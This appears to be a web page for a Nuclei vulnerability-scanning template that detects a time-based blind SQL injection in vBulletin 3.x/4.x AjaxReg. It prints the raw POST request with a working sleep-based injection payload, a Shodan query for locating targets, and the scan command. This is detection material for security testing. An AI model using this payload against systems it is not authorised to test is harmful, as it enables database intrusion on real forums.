vBulletin 3.x / 4.x AjaxReg - SQL Injection

ID: vbulletin-ajaxreg-sqli

Severity: critical

Author: mastercho

Tags: time-based-sqli,packetstorm,vbulletin,ajaxreg,sqli

Description

vBulletin versions 3.x and 4.x suffer from an AjaxReg remote blind SQL injection vulnerability.

YAML Source

id: vbulletin-ajaxreg-sqli

info:
  name: vBulletin 3.x / 4.x AjaxReg - SQL Injection
  author: mastercho
  severity: critical
  description: |
    vBulletin versions 3.x and 4.x suffer from an AjaxReg remote blind SQL injection vulnerability.
  reference:
    - https://packetstormsecurity.com/files/118703/vBulletin-3.x-4.x-AjaxReg-SQL-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"vBulletin"
    product: vbulletin
    vendor: vbulletin
  tags: time-based-sqli,packetstorm,vbulletin,ajaxreg,sqli

http:
  - raw:
      - |
        @timeout: 20s
        POST /ajax.php?do=inforum&listforumid=(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select(0)from(select(sleep(6)))v)%2B"*/&result=10 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        undefined&s=&securitytoken=guest

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains_any(header, "bb_lastvisit", "bb_sessionhash")'
        condition: and
# digest: 490a00463044022012bd050d8436ac459c66c24fde619964e9fce3437119b55dc18af9d8a3c0e3d8022045a186927137b720b355f62b089b2fd4c28829c07b3ea03146e6a5667c8293e2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/vbulletin/vbulletin-ajaxreg-sqli.yaml"

View on Github